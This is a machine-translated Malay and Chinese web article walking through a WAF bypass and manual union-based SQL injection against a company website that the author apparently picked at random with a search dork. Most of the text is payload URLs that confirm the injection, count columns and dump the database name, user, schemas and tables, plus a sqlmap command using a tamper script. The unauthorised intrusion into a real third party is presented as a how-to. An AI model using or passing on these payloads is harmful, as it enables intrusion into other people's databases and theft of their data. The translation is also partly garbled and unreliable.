Rumah >Operasi dan penyelenggaraan >Keselamatan >Bagaimana untuk menjalankan analisis untuk memintas WTS-WAF
inurl:.php?id= intext:电器
Saya menjumpai tapak web syarikat perkakas elektrik sambil lewa dan mendapati ada waf
Ini belum diatur lagi (saya jumpa beberapa maklumat, nampaknya sekadar menambah tanda sebaliknya ruang sudah memadai, cuba terus)
Didapati tiada pemintasan waf
Maklumat juga. berkata bahawa alat
sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py
yang saya cuba dan mendapati ia tidak boleh dimulakan
Itu sahaja...
http://*/*.php?id=1+and+1=1 #回显正常 http://*/*.php?id=1+and+1=2 #回显错误 说明存在注入 http://*/*.php?id=1+order+by+15 #15回显错误 http://*/*.php?id=1+order+by+14 #14回显正常 说明有14个字段 http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 #-1让它错误然后执行后面
Ia bergema ke-2 dan ke-8
http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14 #查询当前数据库信息和当前用户 一些常见的函数 version() #显示数据库当前版本 database() / schema() #显示当前数据库名 user() / system_user() / session_user() / current_user() / current_user() #显示当前用户名称 charset(str) #返回字符串str的字符集 collation(str) #返回字符串str的字符排列方式
http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1
它不能group_concat,那我就一个一个查了! http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #从1开始取一个 http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1 #从2开始取一个
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1
Ringkasan:
1 Jika alat tidak boleh dijalankan, anda hanya boleh menggunakannya dengan tangan Nota
2
Atas ialah kandungan terperinci Bagaimana untuk menjalankan analisis untuk memintas WTS-WAF. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!